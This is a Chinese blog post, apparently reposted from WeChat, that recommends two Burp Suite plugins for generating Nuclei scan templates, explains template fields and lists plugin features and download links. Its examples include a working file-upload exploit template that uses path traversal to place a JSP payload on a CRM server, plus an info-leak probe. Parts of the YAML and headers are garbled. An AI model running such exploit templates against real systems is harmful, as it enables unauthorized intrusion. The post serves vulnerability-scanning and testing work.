0x01 工具介绍
这里推荐一款Burp转Nuclei模板的插件,可以让你写Nuclei Poc 的效率直接拉满。下载后导入bp 即可,使用也非常简单。
0x02 快速上手
直接利用工具生成一个文件存在文件上传漏洞的POC,其他任意文件读取,信息泄露就更简单了。
id: fileupload-CrmBasicAction
info:
name: ZD-crmbasicaction-upload
author: CB-Hack
severity: critical
variables:
filename: "{{to_lower(rand_base(10))}}"
boundary: "{{to_lower(rand_base(20))}}"
http:
raw:
|
POST /xxxx/xxxxn.entcrm?method=zipFileUpload&c_transModel=old HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2657.7 Safari/537.36 :
Connection: close
multipart/form-data; boundary={{boundary}} :
gzip, deflate, br :
--{{boundary}}
form-data; name="file"; filename="../../{{filename}}.jsp" :
application/zip :
out.println(1*123456);new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
--{{boundary}}--
|+
GET /xxxx/dao{{filepath}}{{filename}}.jsp HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.2657.7 Safari/537.36 :
0 :
gzip, deflate :
Connection: close
extractors:
type: regex
name: filepath
part: body
internal: true
group: 1
regex:
'(/d+/)'
and :
matchers:
type: dsl
dsl:
status_code==200 && contains(body_2,'123456')
生成信息泄露POC.yaml
id:Information-disclosure-vulnerability
info:
name: xxxx-infoleak
author: CB-Hack
severity: high
requests:
raw:
|+
GET /xxxxx/info.log HTTP/1.1
Host: {{Hostname}}
1 :
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 :
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
gzip, deflate, br :
zh-CN,zh;q=0.9 :
Connection: close
and :
matchers:
type: word
part: header
words:
'Content-Type: text/plain'
type: word
part: header
words:
HTTP/1.1 200 OK
type: status
status:
200
单个扫描效果
0x03 参数介绍
id
ID 不得包含空格。这样做是为了让输出解析更容易。
id: git-config
info:
name: Git Config File Detection Template
author: Ice3man
severity: medium
description: Searches for the pattern /.git/config on passed URLs.
reference: https://www.acunetix.com/vulnerabilities/web/git-repository-found/
git,config :
requests:
- raw:
- |
GET /zentao/api-getModel-editor-save-filePath=bote HTTP/1.
requests:
raw:
|
GET /zentao/api-getModel-editor-save-filePath=bote HTTP/1.1
redirects: true
3 :
{{BaseURL}} - 这将在请求的运行时替换为目标文件中指定的输入 URL。
{{RootURL}} - 这将在运行时将请求中的根 URL 替换为目标文件中指定的根 URL。
{{Hostname}} - 主机名变量被替换为主机名,包括运行时目标的端口。
{{Host}} - 这将在运行时替换目标文件中指定的输入主机的请求。
{{Port}} - 这将在请求中的运行时替换为目标文件中指定的输入端口。
{{Path}} - 这将在请求中的运行时替换为目标文件中指定的输入路径。
{{File}} - 这将在请求中的运行时替换为目标文件中指定的输入文件名。
{{Scheme}} - 这将在运行时按目标文件中指定的协议替换模板中的请求。
Variable Value
{{BaseURL}} https://example.com:443/foo/bar.php
{{RootURL}} https://example.com:443
{{Hostname}} example.com:443
{{Host}} example.com
{{Port}} 443
{{Path}} /foo
{{File}} bar.php
{{Scheme}} https
# headers contain the headers for the request
headers:
# Custom user-agent header
Some-Random-User-Agent :
# Custom request origin
https://google.com :
# Body is a string sent along with the request
body: "{"some random JSON"}"
# Body is a string sent along with the request
body: "admin=test"
# cookie-reuse accepts boolean input and false as default
cookie-reuse: true
req-condition: true
matchers:
- type: dsl
dsl:
- "status_code_1 == 404 && status_code_2 == 200 && contains((body_2), 'secret_string')"
匹配器
匹配器允许对协议响应进行不同类型的灵活比较。非常易于编写,并且可以根据需要添加多个检查以实现非常有效的扫描。
0x04 一键生成POC插件2
Burpsuit官方NucleiPOC生成插件
下载地址在末尾
0x05 介绍
特征
模板匹配器生成
Word以及使用历史或上下文Binary中选定的响应片段创建匹配器ProxyRepeater
多行选择被拆分为单独的单词以提高可读性
ASCII为包含非字符的选择创建二进制匹配器
该part字段是根据选择是在请求标头还是正文中自动设置的
每个生成的模板都会使用响应的状态代码自动包含一个Status匹配器HTTP
修改生成的模板
通过突出显示响应的一部分,可以将新的匹配器和请求添加到先前生成的模板中
CVE,可以自动填写模板信息字段(右键单击模板,添加 → 分类 → CVE)
请求模板生成
ram,Pitchfork或Cluster bomb
ram
可以通过选择多个代理项并单击“生成”来生成包含多个请求的模板
模板执行
生成的模板可以立即执行,并且输出显示在同一窗口中以方便使用
CLI 命令
存储独特的执行命令的历史记录,可以在当前会话中快速搜索和重新执行
+ R键盘快捷键访问 CLI 标志过滤和完成支持
实验特点
(非上下文)YAML属性和值自动完成,使用核心JSON模式中的保留字
YAML基于保留字的属性语法突出显示
生产率
几乎每个操作都可以使用键盘快捷键触发:
F1:打开核模板文档
Ctrl + Enter:执行当前模板
Ctrl + Shift + E:跳转到模板编辑器
Ctrl + L:跳转到 CLI 输入字段
Ctrl + R:显示 CLI 参数助手
Ctrl + S:保存当前模板
Ctrl + 加号/减号:增大/减小字体大小
Ctrl + Q:退出
选项卡支持:
Ctrl + Tab或Ctrl + PageDown:打开下一个选项卡
Ctrl + Shift + Tab或Ctrl + PageUp:打开上一个选项卡
Ctrl + [1-9] : 移动到第n个选项卡
鼠标在选项卡上向上/向下滚动:导航到下一个或上一个选项卡
Ctrl + W或鼠标中键单击:关闭当前选项卡
如果模板保存到新位置,模板路径会自动更新
template-id保存时建议将其作为文件名
设置
该插件尝试自动检测并完成配置值
nuclei 二进制路径。
BurpSuite jar 相比,Burp Suite 二进制文件可能无法访问当前用户的PATH变量。
目标模板路径是根据默认的nuclei模板目录计算的,配置如下<USER_HOME>/.config/nuclei/.templates-config.json
当前登录操作系统用户的名称用作模板作者配置的默认值
Nuclei 选项卡中的“生成器”下
外观和感觉
Burp Suite 主题选择的,位于User Options
支持有色核输出
模板编辑器和命令输出中可修改字体大小
构建代码
clean package -DskipTests自己构建项目。它需要 Maven3.x和 Java 11+。
macOS 上,可以使用 Homebrew 来满足插件的依赖关系:brew install mvn openjdk@11或者,可以从“操作”部分下载不同的版本。构建的工件可以在最新构建的部分下找到Artifacts 。这些工件在每次提交后生成,但仅存储有限的时间。
安装
通过构建代码:
自己构建代码或下载预构建/发布版本
Suite
单击选项卡Add中的按钮Extensions
Type状态Java
( .jar)
商店:
Suite
选择BApp Store选项卡
点击安装
0x06 使用截图
0x07 下载 :
工具一下载地址:
https://github.com/ffffffff0x/burp_nu_te_gen/releases/download/v1.4.1/burp_nu_te_gen_Releases.zip
官方工具下载地址:
https://github.com/projectdiscovery/nuclei-burp-plugin/releases/download/v1.1.2/nuclei-burp-plugin-1.1.2.jar
原文始发于微信公众号(渗透安全HackTwo):推荐两款nuclei POC模板生成神器-.yaml-POC漏洞批量扫描工具
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论